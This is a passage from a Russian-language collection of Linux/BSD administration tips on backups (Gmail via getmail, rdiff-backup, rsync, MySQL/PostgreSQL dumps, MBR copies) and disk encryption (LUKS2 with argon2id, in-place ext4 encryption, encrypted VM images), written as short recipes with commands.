    (Settings / Forwarding and POP/IMAP или Настройки / Пересылка и POP/IMAP).
    
    Для начала резервного копирования запускаем GUI интерфейс и вводим необходимые параметры аккаунта:
    
       ./gmail-backup-gui.sh
    
    Автоматизировать загрузку резервных копий можно через поставляемый в комплекте
    с gmail-backup скрипт:
    
       ./gmail-backup.sh backup имя_папки user@gmail.com пароль
    
    Для выборочного бэкапа нужно использовать:
    
       ./gmail-backup.sh backup dir user@gmail.com password 20070621 20080101
    
    Для восстановления данных:
    
       ./gmail-backup.sh restore dir user@gmail.com password
    
    Для копирования только новых данных, накопившихся с момента прошлого бэкапа:
    
       ./gmail-backup.sh backup dir user@gmail.com password --stamp
    
    Как видно у скрипта имеется существенная проблема - необходимость указания
    пароля прямо в командной строке,
    что с точки зрения безопасности неприемлимо. Исправить ситуацию не получается,
    пакет распространяется только в бинарном виде.
    
    Вариант 2. Использование пакета getmail:
    
    Ставим getmail (http://pyropus.ca/software/getmail/):
    
       sudo apt-get install getmail4
    
    Создаем 2 директории: .getmail для хранения настроек и директорию gmail-archive
    для хранения бэкапа.
       
       mkdir ~/.getmail
       mkdir ~/gmail-backup
    
    Создаем файл конфигурации ~/.getmail/getmail.gmail:
    
        [retriever]
        type = SimpleIMAPSSLRetriever
        server = imap.gmail.com
        username = user@gmail.com
        password = password
    
        [destination]
        type = Maildir
        path = ~/gmail-backup/ 
        
        # Если вместо maildir нужно использовать формат mbox:
        # type = Mboxrd
        # path = ~/gmail-backup/gmail.mbox
    
        [options]
        verbose = 2
        message_log = ~/.getmail/gmail.log 
    
    Запускаем копирование писем:
    
       getmail -r ~/.getmail/getmail.gmail
    
     
    ----* Использование rdiff-backup (доп. ссылка 1)   Автор: Yuri Trofimov  [комментарии]
     
    Иногда при проведении резервного копирования, бэкапов, не требуется вся мощь
    систем уровня предприятия,
    таких как, например, Bacula. Но, с другой строны, не совсем подходят и простые самописные скрипты. 
    Как всегда, требуется что-то среднее.
    
    Вот тут-то и следует обратить внимание на rdiff-backup (http://www.nongnu.org/rdiff-backup/).
    
    rdiff-backup - это кучка скриптов на питоне, которые хранят историю файлов,
    сохраняя на диске только их отличия.
    rdiff-backup бэкапит один каталог в другой. Целевой каталог в результате содержит 
    копию исходного каталога. Различия текущей и предыдущей копий исходного каталога сохраняются 
    в отдельном месте, поэтому можно восстановить и удаленные файлы. rdiff-backup может 
    также работать через конвейер с ограничением полосы пропускания, подобно rsync. 
    Вы можете использовать rdiff-backup и ssh для безопасного копирования данных на удаленную систему, 
    причем передаваться будут только различия. Система корректно работает с символическими ссылками, 
    файлами устройств, правами и т.д. и может быть использована для копирования всей файловой системы.
    
    На сервере-хранилище-бэкапов и всех серверах, учавствующих в резервном
    копировании необходимо установить rdiff-backup.
    
    Авторизацию для ssh делаем с помощью AuthorizedKeysFile.
    
    Если на хосте-хранилище-бэкапов используется нестандартный порт для ssh, 
    то на хосте откуда бэкапим (клиенте) делаем файл ~/.ssh/config
    
       Host host.tld
          Port 3333
          Protocol 2
          Compression yes
    
    
    Пример скрипта
    
    Скрипт бэкапит базу MySQL и каталоги виртуальных хостов с клиента (client.tld)
    на сервер бэкапов (host.tld).
    Чтобы быстро находить нужный бэкап, на хосте-хранилище-бэкапов создаются каталоги 
    по именам хостов-клиентов и далее уже в каждом из них хранится дерево каталогов, как и в оригинале.
    
       #!/bin/sh
    
       TMPDIR="/tmp/mysqldump"
       DUMPFILE="${TMPDIR}/client.tld.mysqldump"
    
       echo -e "\nmysqldump start...\n"
       mkdir "${TMPDIR}"
    
       /usr/bin/mysqldump --single-transaction --quick --skip-extended-insert \
          -uUSER -pPASSWORD NAMEDB > "${DUMPFILE}"
       /usr/bin/rdiff-backup --print-statistics "${TMPDIR}" \
          user@host.tld::"client.tld/mysqldump"
       rm -f "${DUMPFILE}"
       rmdir --ignore-fail-on-non-empty "${TMPDIR}"
    
       echo -e "\n\nstart /var/www/vhosts backup ...\n"
    
       /usr/bin/rdiff-backup --create-full-path --exclude-symbolic-links --exclude-sockets \
    
          --exclude-special-files --exclude-fifos --exclude-device-files --no-hard-links \
          --print-statistics \
          "/var/www/vhosts" user@host.tld::"client.tld/var/www/vhosts"
    
    В cron'е можно изобразить что-нибудь типа:
    
      /root/bin/mybackup.sh | \
          /bin/mail -c "admin@domain.com" -s "`uname -n` backup report" root@localhost
    
    Вы будете получать примерно такие отчеты:
    
       --------------[ Session statistics ]---------
       StartTime 1227924257.00 (Sat Nov 29 02:04:17 2008)
       EndTime 1227924381.73 (Sat Nov 29 02:06:21 2008)
       ElapsedTime 124.73 (2 minutes 4.73 seconds)
       SourceFiles 2883
       SourceFileSize 31441627 (30.0 MB)
       MirrorFiles 2883
       MirrorFileSize 31441627 (30.0 MB)
       NewFiles 0
       NewFileSize 0 (0 bytes)
       DeletedFiles 0
       DeletedFileSize 0 (0 bytes)
       ChangedFiles 0
       ChangedSourceSize 0 (0 bytes)
       ChangedMirrorSize 0 (0 bytes)
       IncrementFiles 0
       IncrementFileSize 0 (0 bytes)
       TotalDestinationSizeChange 0 (0 bytes)
       Errors 0
    
    
    Восстановление
    
    Если что-то случится с rdiff-backup, то восстановить данные можно простым
    копированием, и это важно.
    
    Пример стандартной команды для восстановления (где host.tld - хост-хранилище-бэкапов) :
    
       rdiff-backup -r now user@host.tld::"client.tld/var/www/vhosts" /tmp/vhosts
    
    Восстановление файлов в состоянии как 10 дней назад :
    
       rdiff-backup -r 10D user@host.tld::"client.tld/var/www/vhosts" /tmp/vhosts
    
    см. также секцию TIME FORMATS в man.
    
    Дополнительно
    
    Существует RdiffWeb для web-доступа к резервным копиям, сделанным утилитой rdiff-backup.
    
    
    Дополнение от редактора: 
    
    При использовании стандартного rsync, для отдельного сохранения изменений накопившихся за день 
    в отдельной директории, можно использовать примерно такой скрипт:
    
       snapshot_dir="/snapshot/backup_snap/`date \+\%Y_\%m_\%d`"
       mkdir $snapshot_dir
       /usr/local/bin/rsync -a -v --delete --max-delete=1000 --hard-links \
          --delete-excluded --exclude-from=/etc/rsync_backup.exclude / /backup \
          --backup --backup-dir=$snapshot_dir
    
    В /etc/rsync_backup.exclude добавляем список исключений ( в конце "/*" чтобы директория создалась):
     
       /backup/*
       /snapshot/*
       /mnt/*
       /var/log/*
       /proc/*
       ... и т.п.
    
    Для чистки снапшотов старее 30 дней, в cron добавляем:
    
       find /snapshot/backup_snap/ -type d -maxdepth 1 -mtime +30 -exec rm -rf {} \;
    
     
    ----* Полезные рецепты при работе с rsync   [комментарии]
     
    1. Если копируемая директория заканчивается слэшем, то файлы будут скопированы 
    в каталог назначения относительно корня изначально заданной директории. Пример:
       rsync -a /dir1/dir2 /dir3 - будет создана иерархия /dir3/dir2/файлы
       rsync -a /dir1/dir2/ /dir3 - будет создана иерархия /dir3/файлы
    
    
    2. При транзитном переносе файлов через дополнительную машину не нужно забывать, 
    что опция "-a" подразумевает трансляцию имен пользователей и групп в локальные uid/gid, 
    т.е. скопировав данные с первой машины на вторую,  а потом со второй на локально подключенный 
    жесткий диск, предназначенный для третьей машины, получим на третьей машины совершенно иных 
    владельцев каталогов и файлов. Не тех которые были в /etc/password первой машины, 
    а тех, которые в данным момент в /etc/password второй машины (изменятся типовые пользователи, 
    например, web, ftp, dhcp, номера uid/gid  которых отличаются на двух машинах). 
    Чтобы этого не произошло нужно использовать опцию "--numeric-ids".
    
    3. Особенности задания файлов исключений ("--exclude-from=файл" или " --exclude
    маска1  --exclude маска2").
    
    
    Для того чтобы исключить из бэкапа содержимое директории, но саму директорию оставить, 
    нужно указать в "exclude" файле "/dir/*", а не  "/dir/" 
    (под "/dir" подпадет и /dir123, и файл /dir.txt, для директорий указание "/" в конце обязательно).
    
    Звездочка ("*") в шаблоне действует только на имя файла/каталога, чтобы маской охватывалась 
    часть пути, включая "/", нужно писать "**".
    
    Шаблон не начинающийся с '/' проверяется с конца строки. Например "/dir/test" будет 
    проверен c начала пути, а "dir/test.txt" или "*.log" с конца.
      
    Если необходимо исключить все поддиректории в /dir, кроме /dir/best, в список
    исключений нужно поместить:
       + /dir/best/
       - /dir/*
    При переборе содержимого "exclude" файла, срабатывает первое правило под
    которое подпадает текущий путь,
    не важно исключающие или нет. В качестве корня выступает директория назначения, 
    т.е. "/" в "exclude" файле = "/dir3/dir2" или "/dir3" из первого совета.
    
    
    4. Запрещение двойного сжатия при передаче данных по SSH.
    rsync при задании опции "-z" более оптимально сжимает передаваемые данные, 
    поэтому сжатие средствами ssh можно отключить:
    
       export RSYNC_RSH="ssh -c arcfour -o Compression=no -x"
       rsync -a -z -v --bwlimit=16 /dir1 /dir2 user@test.ru:/dir3/
    
    где, --bwlimit=16 ограничивает пропускную способность при копировании бэкапа в 16 Кбайт в сек.
    
    5. Изменение уровня точности при сравнении локального и удаленного времени модификации файлов. 
    Например, для того чтобы считать идентичными файлы время модификации которых отличается 
    на 1 секунду необходимо указать: "--modify-window=1".
    
    6. Пример сохранения истории изменения данных. При этом старые измененные или удаленные 
    файлы не теряются а перемещаются в директорию /snapshot/дата.
    
       #!/bin/sh
       snapshot_dir="/snapshot/`date \\+\\%Y_\\%m_\\%d`"
       mkdir $snapshot_dir 
       rsync -a -v --delete --max-delete=1000 --hard-links \\
         --delete-excluded --exclude-from=/etc/rsync_backup.exclude \\
         --backup --backup-dir=$snapshot_dir \\
         / /backup
    
        RETCODE=$?
        if [ $RETCODE -ne 0 ]; then
            echo "Err code=$RETCODE"| mail -s "FATAL RSYNC BACKUP" admin@test.ru
        fi
        echo RET: $RETCODE
        /bin/chmod 0700 /backup
        /bin/chmod 0700 /snapshot
    
    7. Некоторые полезные опции.
    
       -v - говорливость, выводит имена обрабатываемых файлов;
    
       -a - работа в режиме архивирования, сохраняются права доступа и информация о владельцах;
    
       -H - сохранять жесткие ссылки, оставляя их на другом конце бэкапа;
    
       -x - не выходить за пределы текущей точки монтирования;
    
       --progress - показывать сколько процентов осталось до завершения и скорость передачи;
    
       --delete - удалять из бэкапа файлы, которых уже нет на стороне источника.
          --delete отличается от --delete-after тем, что удаление производится вначале, 
          а не на завершающей стадии процесса бэкапа. --delete-after работает быстрее, 
          так как не требует лишней стадии обхода списка файлов, но требует использования опции --force 
          для обработки таких ситуаций как удаление файла и появление диретории с тем же именем;
    
       --delete-excluded - удалять части которые уже есть на стороне бэкапа, но появились в списке исключения;
    
       -n - режим тестирования, реально никаких действий по копированию не производится, только эмуляция;
    
       -c - использование сверки по контрольным суммам, а не по времени изменения и размеру;
    
       --compare-dest=DIR - сохранять новые и измененные файлы в отдельной директории, 
          не трогая на время копирования основную директорию назначения, в конце - разом, 
          путем переименования, обновить содержимое бэкапа;
    
       --link-dest=DIR - использовать жесткие ссылки на файлы в DIR, например, для создания подобия снапшотов;
    
       --ignore-errors - продолжать копирование и удаление после появления ошибок;
    
       --max-delete - ограничение максимально числа удаляемых за один раз файлов и каталогов;
    
       -A - сохранять не только права доступа, но и ACL;
    
       --files-from=FILE - задать список директорий и файлов для бэкапа в файле;
    
     
    ----* Синхронизация файлов и содержимого БД MySQL на резервный сервер (доп. ссылка 1)   Автор: neiro  [комментарии]
     
    Есть два сервера под Linux/FreeBSD: СУБД MySQL + некое приложение,
    задача - синхронизировать БД и данные.
    
    За синхронизацию данных MySQL отвечает mysql replication, данные
    синхронизируются с мастера на слейв.
    
    Делаем на мастере:
    
    в my.cnf добавляем строки
    
       log-bin = /var/log/mysql/mysql-bin.log
       binlog-do-db=databasename
       server-id=1
    
    перезагружаем MySQL, добавляем пользователя для репликации:
    
       GRANT ALL PRIVILEGES ON databasename.* TO 'slave_user'@'%' IDENTIFIED BY 'slave_password';
       FLUSH PRIVILEGES;
    
    далее выполняем команду:
    
       USE databasename;
       FLUSH TABLES WITH READ LOCK;
       SHOW MASTER STATUS;
    
    и вывод этой команды для нас важен, надо его куда-нибудь записать:
    
       | File | Position | Binlog_do_db | Binlog_ignore_db |
       | mysql-bin.001 | 10 | databasename | |
    
    теперь делаем дамп базы:
    
       mysqldump -u slave_user -pslave_password --opt databasename > databasename.dump
    
    и наконец убираем лок с базы в MySQL:
    
       UNLOCK TABLES;
    
    
    Теперь на слейве:
    
    Создаём базу:
    
       mysqladmin create databasename -p
    
    Востанавливаем базу из дампа:
    
       mysql -u slave_user -pslave_password databasename < databasename.dump
    
    в my.cnf добавляем строки:
    
       server-id=2
       master-host=XX.XX.XX.XX # IP адрес мастер-сервера
       master-user=slave_user
       master-password=slave_password
       master-connect-retry=60
       replicate-do-db=databasename
    
    перегружаем MySQL и добавляем чудесные данные из волшебной комманды:
    
       SLAVE STOP;
       CHANGE MASTER TO MASTER_HOST='XX.XX.XX.XX',
         MASTER_USER='slave_user', MASTER_PASSWORD='slave_password',
         MASTER_LOG_FILE='mysql-bin.001', MASTER_LOG_POS=10;
       START SLAVE;
    
    готово, теперь проверяем, добавляем запись в мастер, на слейве она должны отреплицироваться.
    
    Понятно, что изменять данные можно только на мастере, слейв работает только на чтение.
    
    
    Для синхронизации данных имеет смысл использовать rsync, очень интересный протокол/приложение. 
    Может синхронизировать инкрементально и с сжатием.
    На мастер сервере в rsyncd.conf добавляем:
    
       read only = yes # во избежание ;-)
       hosts allow = YY.YY.YY.YY # IP адрес слэйв-сервера
       [somelabel]
       path = /path/to/apllication/folder # где лежит приложение
       auth users = replica_user # юзер только для репликации в rsync, не системный пользователь
       secrets file = /path/to/rsync/rsync.secret # где лежит файл с паролем для replica_user, 
                                                  # только пароль и ничего больше
    
    на слейве - команда для синхронизации, можно добавить в cron с нужной периодичностью:
    
       /path/to/rsync -avz --exclude-from=/path/to/rsync.exclude \
         --password-file /path/to/rsync.secret \
         rsync://replica_user@XX.XX.XX.XX:873/somelabel /path/to/application
    
    где:
    rsync.exclude - файл в котором перечислены, какие файлы (конкретно или по
    маске) не синхронизировать
    rsync.secret - файл с секретным паролем для replica_user
    ХХ.ХХ.ХХ.ХХ - IP мастер-сервера, 873 - дефолтный порт для демона
    somelabel - метка из rsyncd.conf с мастера
    /path/to/application - путь куда класть данные.
    
     
    ----* Бэкап больших MyISAM таблиц без длительной блокировки в MySQL (доп. ссылка 1)   Автор: jabrusli  [комментарии]
     
    mysqldump лочит таблицы на запись и во время дампа база фактически простаивает.
    Решения:
    
    1. Репликация и бэкап со слейва;
    
    2. mysqlhotcopy,  делает "read lock" на и копируются файлы баз, т.е.:
    
        FLUSH TABLES WITH READ LOCK;
        // копировать файлы MyISAM таблиц
        UNLOCK TABLES;
    
    FLUSH TABLES WITH READ LOCK может занять много времени т.к. он будет ждать
    окончания выполнений всех запущенных запросов.
    
    3. Минимизация блокировки через использование снапшотов ФС:
       FLUSH TABLES WITH READ LOCK;
       Делаем снэпшот ФС, где лежат базы мускула
       UNLOCK TABLES;
       Копируем директории с базой или отдельные таблицы
       Отцепляем снэпшот
    
    Скрипт для Linux (использует LVM снапшот): http://lenz.homelinux.org/mylvmbackup/
    Cкрипт для FreeBSD:
       (echo "FLUSH TABLES WITH READ LOCK;"; echo "\! ${MOUNT} -u -o snapshot /${SNAPPART}/.snap/backup /${SNAPPART}"; echo "UNLOCK TABLES;" ) |
        ${MYSQL} --user=root --password=`${CAT} ${MYSQLROOTPW}`
    
     
    ----* Как получить информацию о разделах диска для бэкапа   [комментарии]
     
    Linux:
       fdisk -l /dev/hda > partitions.txt
       cat /proc/partitions
    
    BSD:
       disklabel da0s1 > partitions.txt
       Для восстановления или клонирования: 
          fdisk -BI -v -b /boot/mbr da1 # Слайс на весь диск.
          disklabel -R -B -r da1s1 partitions.txt
       Параметры FS, без ее реального создания можно посмотреть через:
          newfs -N /dev/da0s1e
       Для визуального создания или редактирования разделов удобно
       использовать /stand/sysinstall (Configure/Fdisk иди Label),
       в качестве точки монтирования не забыть добавить перед именем "/mnt"
       и создать директорию для монтирования.
       
    
     
    ----* Как сделать бэкап таблицы разделов диска   [обсудить]
     
    Бэкап MBR:
        dd if=/dev/hda of=mbr_backup.bin bs=1 count=512
    
    Для восстановления всего MBR поменять if/of местами.
    
    Таблица разделов находится в MBR по смещению 0x01BE (446) и состоит
    из 4 записей по 16 байт.
    
    Для восстановления только таблицы разделов:
        dd  if=mbr_backup.bin  of=/dev/устройство  bs=1 count=64 skip=446 seek=446
    
     
    ----* Полный бэкап на дополнительный диск при помощи rsync (доп. ссылка 1)   [комментарии]
     
    Резервный диск монтируем как /backup в read-only режиме.
    По крону еженощно запускаем скрипт следующего содержания:
       /sbin/mount -u -w /backup # пепреводим раздел в rw режим, mount "-o remount,rw /backup" для Linux
       /usr/bin/rsync -a --delete --delete-excluded --max-delete=200 \
          --exclude-from=/etc/ex_files_list.txt / /backup
       RETCODE=$?
       if [ $RETCODE -ne 0 ]; then
          echo "Err code=$RETCODE"| mail -s "RSYNC BACKUP ERROR" alert@test.ru
       fi
       /sbin/mount -u -r /backup # раздел обратно в ro, mount "-o remount,ro /backup" для Linux
    
    Если backup-диск большой, лучше вести две полные копии, на случай краха во
    время бэкапа (или см. опцию --backup);
    
    При бэкапе на другой сервер:
       rsync [...опции как выше] --compress --bwlimit=100 --timeout=120 \
          -e ssh source/ login@backuphost:/backup/node1
    
    Список файлов для исключения из бэкапа (ex_files_list.txt):
       /backup
       /mnt
       /proc
       /tmp
       /var/log
       /usr/obj
       /usr/src
       /usr/tmp
       /usr/ports
       /usr/local/apache/logs
    
     
    ----* Как лучше бэкапить данные баз в PostgreSQL   [обсудить]
     
    Полный бэкап всех баз:
      pg_dumpall [-s] [-D] > backup_file
    Выборочный бэкап:
      pg_dump [-s] [-D] [-t table] db > backup_file        
    -s - записывается только информация о структуре базы, без данных.
    -D - формируется бэкап данных в виде INSERT команд.
    -t table - бэкап выборочных таблиц.
    
     
    ----* Советы по бэкапу данных в MySQL   [комментарии]
     
    Бэкап структуры:
        mysqldump --all --add-drop-table [--all-databases] --force [--no-data] [-c] \
        --password=password --user=user [база]  [таблицы] > backup_file
    ( -c - формировать в виде полных INSERT.
     --all-databases - бэкап всех баз,  --no-data - бэкап только структуры таблиц в базах,  [таблицы]  - бэкапить только указанные таблицы.)
    Восстановление:   mysql < backupfile
    (для прямой вставки из текстового файла можно воспользоваться mysqlimport)
    (для анализа структуры базы, например, списка таблиц: mysqlshow <база>)
    
     
    ----* Как 1 в 1 скопировать файловую систему.   [комментарии]
     
    Копируем /usr в текущую директорию: dump -0u -f - /usr | restore -r -f -
    Для полного бэкапа /usr на ленту: dump -0u -f /dev/st0 /usr
    
     

       Файловые системы

    ----* Объединение корневого и home разделов в RHEL/CentOS/Alma/Rocky 9 при использовании XFS   [комментарии]
     
    По умолчанию в RHEL 9 и производных дистрибутивах создаётся два LVM-раздела с
    XFS - / и /home. Задача - убрать раздел /home и расширить на освободившееся
    место корневой раздел, так чтобы остался один большой корневой раздел.
    Выполняется с отключённым SELinux.
    
    Включаем возможность входа с правами root в sshd. В /etc/ssh/sshd_config:
    
       PermitRootLogin yes
    
    Перезапускаем sshd и перезаходим напрямую под root, без промежуточных пользователей:
       
       systemctl restart sshd
       ssh root@host
    
    Имеющиеся разделы:
    
       df
    
       /dev/mapper/almalinux_desktop--481dr30-root 73334784  19606796 53727988   15% /
       /dev/mapper/almalinux_desktop--481dr30-home 416977996 48002116 368975880  12% /home
    
    Создаём в корне новый домашний каталог и переносим в него содержимое /home:
    
       rsync -a -X -A /home/ /home2/ 
    
    или 
    
       cp -a /home /home2
    
    Закрываем сеансы всех пользователей и завершаем все процессы, которые могут
    использовать файлы в /home.
    Отмонтируем старый /home и переименовываем новый:
    
       umount /dev/mapper/almalinux_desktop--481dr30-home
       rm -f /home
       mv /home2 /home
    
    Комментируем в /etc/fstab запись  для /home
    
       /dev/mapper/almalinux_desktop--481dr30-root /                       xfs     defaults        0 0
       # /dev/mapper/almalinux_desktop--481dr30-home /home                   xfs     defaults        0 0
    
    Находим к какому физическому разделу привязаны логические тома LVM:
    
       lsblk
    
       dmesg| grep nvme0
    
       nvme0n1: p1 p2 p3
    
       grep -r "nvme0n1" /etc/lvm
    
       ...device = "/dev/nvme0n1p3"
    
    Удаляем LVM-раздел для /home:
    
       lvremove /dev/mapper/almalinux_desktop--481dr30-home
    
    Расширяем размер корневого раздела, используя всё свободное пространство:
    
       lvresize /dev/mapper/almalinux_desktop--481dr30-root /dev/nvme0n1p3
    
    Расширяем файловую систему XFS до новых границ раздела LVM (можно делать это на
    лету без отмонтирования и перемонтирования в режим только для чтения):
    
       xfs_growfs -d /dev/mapper/almalinux_desktop--481dr30-root
    
    
    Было:
       /dev/mapper/almalinux_desktop--481dr30-root  73334784 49606184  23728600  68% /
    
    Стало:
       /dev/mapper/almalinux_desktop--481dr30-root 490516480 52516220 438000260  11% /
    
    
    Блокируем возможность входа с правами root в sshd. В /etc/ssh/sshd_config:
    
       PermitRootLogin no
    
    Перезапускаем sshd и проверяем:
       
       systemctl restart sshd
       ssh host
    
     
    ----* Перевод шифрованного раздела на LUKS2 и более надёжную функцию формирования ключа (доп. ссылка 1)   [комментарии]
     
    В шифрованных разделах LUKS1 в качестве функции формирования ключа (KDF, Key
    Derivation Function) на основе заданного пользователем пароля применяется
    функция PBKDF2, не обеспечивающая должную стойкость от подбора с использованием
    GPU. В LUKS2 в качестве KDF появилась возможность использования гибридной хэш-функции
    argon2id, которая помимо потребления
    вычислительных ресурсов, затрудняет распараллеливание и требует значительного
    объёма памяти.
    
    Например, подбор KDF-функции PBKDF2, рассчитанной на потребление CPU,  может
    эффективно распараллеливаться на GPU Geforce 4090 c 16384 вычислительными
    блоками, но в случае применения argon2id подбор упирается в размер видеопамяти
    (при потреблении 1 ГБ на каждую операцию подбора, на GPU с 24 ГБ памяти можно
    обеспечить лишь подбор в 24 параллельных потока).
    
    Переключение с LUKS1 на LUKS2 с  argon2id.
    
    Определяем на каком устройстве находится шифрованный раздел:
    
       lsblk
    
       ...
       └─nvme0n1p3    259:3    0 474,8G  0 part  
         └─nvme0n1p3_crypt
                      253:0    0 474,8G  0 crypt 
           ├─vgubuntu--mate-root
           │          253:1    0 473,8G  0 lvm   /var/snap/firefox/common/host-hunspell
           │                                     /
           └─vgubuntu--mate-swap_1
                      253:2    0   980M  0 lvm   [SWAP]
    
    Сохраняем резервную копию заголовка LUKS и затем копируем на внешний носитель,
    чтобы иметь возможность восстановить состояние.
    
       sudo cryptsetup luksHeaderBackup /dev/nvme0n1p3 --header-backup-file /tmp/luksheader
    
    
    Проверяем версию LUKS:
    
       sudo cryptsetup luksDump /dev/nvme0n1p3
    
       ...
       Version:    1
       ...
       PBKDF:      pbkdf2
    
    Если версия 1, то необходимо обновить заголовок до LUKS2.
    
       sudo cryptsetup convert /dev/nvme0n1p3 --type luks2
    
    Проверяем, что с новым заголовком система по-прежнему грузится и если возникли
    проблемы восстанавливаем старый заголовок командой
    
       sudo cryptsetup luksHeaderRestore /dev/nvme0n1p3 --header-backup-file путь_к_скопированному_luksheader
    
    Ещё раз выполняем cryptsetup luksDump и проверяем алгоритм в секции Keyslots,
    если указано "pbkdf2" или "argon2i" следует обновить его до
    "argon2id":
    
       sudo cryptsetup luksConvertKey /dev/nvme0n1p3 --pbkdf argon2id
    
    Проверяем результат:
    
       sudo cryptsetup luksDump /dev/nvme0n1p3
    
       ...
       Version:       	2
       ...
       Keyslots:
         0: luks2
            ...
            PBKDF:      argon2id
            ...
    
        0: luks2
            ...
            PBKDF:      argon2id
            ...
    
     
    ----* Шифрование данных на существующем разделе ext4 без его переформатирования (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Можно отметить два основных способа организации шифрования данных в уже
    существующей файловой системе Ext4, не требующие пересоздания раздела с
    переносом данных из резервной копии. Первый способ заключается в использовании
    встроенных в Ext4 возможностей по шифрованию отдельных каталогов, а второй в
    использовании команды "cryptsetup reencrypt" для прозрачного переноса ФС на
    новый шифрованный раздел LUKS. В любом случае создание полной резервной копии
    перед выполнением предложенных манипуляций обязательно.
    
    Первый способ наиболее простой и безопасный, но он ограничен использованием
    отдельных шифрованных каталогов, в которые можно перенести конфиденциальные
    данные, требующие защиты. Шифрование в Ext4 поддерживается при использовании
    как минимум ядра Linux 4.1 и утилит 2fsprogs 1.43.
    
    Выставляем в суперблоке раздела  c ФС ext4 флаг поддержки шифрования (в нашем случае /dev/sda1):
    
        sudo tune2fs -O encrypt /dev/sda1
    
    Создаём каталог, в котором будут храниться зашифрованные данные текущего пользователя:
    
        mkdir -p /secret/home/user
      
    Генерируем случайную salt-последовательность для последующего шифрования и
    сохраняем её в отдельный файл:
    
        echo 0x`head -c 16 /dev/urandom | xxd -p` > /home/user/.crypt_salt
     
    
    Создаём на базе данной salt-последовательности ключ для шифрования, указав для него пароль:
    
        e4crypt add_key -S /home/user/.crypt_salt
    
        Enter passphrase (echo disabled):
        Added key with descriptor [f467134ca2c48c33]
    
    Проверяем добавление ключа командой "keyctl show", которая поставляется в пакете keyutils.
    
      
    Активируем шифрование для каталога /secret/home/user, указав выданный идентификатор ключа:
    
        e4crypt set_policy f467134ca2c48c33 /secret/home/user
    
    Если после перезагрузки попытаться обратится к каталогу /secret/home/user без
    добавления ключа командой "e4crypt add_key", его содержимое будет показано в
    зашифрованном виде. Для расшифровки каталога при каждой загрузке необходимо
    настроить повторный вызов команды add_key для привязки ключа.
       
       e4crypt add_key -S /home/user/.crypt_salt
    
       Enter passphrase (echo disabled):
       Added key with descriptor [f467134ca2c48c33]
    
    Для просмотра привязанного к каталогу ключа можно использовать команду
    
       e4crypt get_policy /secret/home/user
    
    
    
    В случае необходимости шифрования всего содержимого можно использовать LUKS
    cryptsetup для шифрования имеющегося раздела без потери данных.
    
    Отмонтируем шифруемый раздел (при изменении корневого раздела нужно загрузиться
    с отдельного live-дистрибутива), проверяем целостность ФС и уменьшаем размер ФС
    для того, чтобы разместить заголвки LUKS на диске (в ФС должно быть достаточно
    свободного места):
    
       e2fsck -f /dev/sda4
       resize2fs /dev/sda4 размер_меньше_текущего_на_32МБ
    
    Шифруем содержимое имеющегося раздела без потери информации:
       
       cryptsetup reencrypt --encrypt /dev/sda4 --reduce-device-size 32M
       
    Открываем раздел:
    
       cryptsetup open /dev/sdXY home
      
    Увеличиваем размер ФС до свободной границы
    
       resize2fs /dev/mapper/home
    
    Монтируем раздел:
       
        mount /dev/mapper/home /mnt/home
    
    Смотрим UUID:
    
       blkid /dev/mapper/home 
    
    Добавляем информацию о разделе в /etc/crypttab
    
       home UUID=UUID_устройства_LUKS none
    
     
    ----* Создание шифрованных образов виртуальных машин (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Инструкция по созданию полностью зашифрованного образа гостевой системы, в
    котором шифрование охватывает корневой раздел и стадию загрузки.
    
    Извлекаем содержимое корневого раздела образа виртуальной машины, который
    требуется зашифровать,  в tar-архив vm_root.tar. Проверяем, чтобы в образе были
    необходимые для шифрования и EFI-загрузки разделов утилиты, такие как
    cryptodisk и grub-efi.
    
    Создаём файл с дисковым образом, содержащим два раздела - небольшой раздел для
    EFI (p1, 100МБ)  и корневой раздел, содержимое которого будет зашифровано (p2).
    
    
       truncate -s 4GB disk.img
       parted disk.img mklabel gpt
       parted disk.img mkpart primary 1Mib 100Mib
       parted disk.img mkpart primary 100Mib 100%
       parted disk.img set 1 esp on
       parted disk.img set 1 boot on
    
    Настраиваем EFI на первом разделе и дисковое шифрование LUKS на втором. Для
    повышения защищённости можно заполнить шифрованный раздел случайными числами,
    но это приведёт к увеличению размера итогового образа qcow2. Создаём на
    шифрованном разделе ФС Ext4.
    
    привязываем образ к loop-устройству
    
       losetup -P -f disk.img          
    
    определяем имя созданного устройства (/dev/loopN), в дальнейшем используем
    переменную $l вместо устройства
    
       l=($(losetup -l|grep disk.img)) 
    
    создаём раздел с EFI, используем VFAT
    
       mkfs.vfat ${l}p1
    
    определяем UUID раздела EFI
    
       blkid ${l}p1  
    
    создаём шифрованный раздел, в процессе задаём временный пароль для расшифровки
    
       cryptsetup --type luks1 luksFormat ${l}p2 
    
    определяем UUID шифрованного раздела
    
       blkid ${l}p2 
    
    активируем шифрованный раздел и создаём на нём ФС ext4
    
       cryptsetup luksOpen ${l}p2 cr_root
       mkfs.ext4 /dev/mapper/cr_root
    
    монтируем раздел, копируем в него содержимое tar-архива с начинкой корневого
    раздела и создаём каталоги для точек монтирования /run, /sys, /proc и /dev.
    
       mount /dev/mapper/cr_root /mnt
       tar -C /mnt -xpf vm_root.tar
       for m in run sys proc dev; do mount --bind /$m /mnt/$m; done
    
    входим в окружение созданного корневого раздела
    
       chroot /mnt
    
    В /etc/fstab определяем метку корневого раздела (/dev/disk/cr_root) и раздела  EFI (/boot/efi).
    
    Настраиваем и устанавливаем загрузчик GRUB (в некоторых дистрибутивах вместо
    /boot/grub используется /boot/grub2, а вместо префикса "grub" - "grub2-"):
    
      echo "GRUB_ENABLE_CRYPTODISK=y" >> /etc/default/grub
       mount /boot/efi
       grub-install --removable --target=x86_64-efi
       grub-mkconfig -o /boot/grub/grub.cfg
    
    Для систем с mkinitramfs (Debian) дополнительно нужно добавить параметры
    шифрованного раздела в /etc/crypttab:
    
       cr_root UUID=<uuid> luks none
    
    После чего пересоздаём образ ram-диска с компонентами для начальной загрузки. 
    
    
    Для систем с dracut требуется изменить настройки /etc/default/grub, указав в
    GRUB_CMDLINE_LINUX привязку rd.luks.uuid=<UUID>. Для дистрибутивов с SELinux
    также нужно обновить метки (relabel).
    
    Отмонтируем созданные в процессе подготовки образа разделы из /mnt и пытаемся
    загрузить образ, используя режим EFI. В процессе загрузки вводим заданный ранее
    временный пароль и проверяем работоспособность окружения.
    
    Заменяем временный пароль на ключ для быстрой загрузки и настраиваем ram-диск
    для его использования. Для образа, примонтированного через /dev/sda:
    
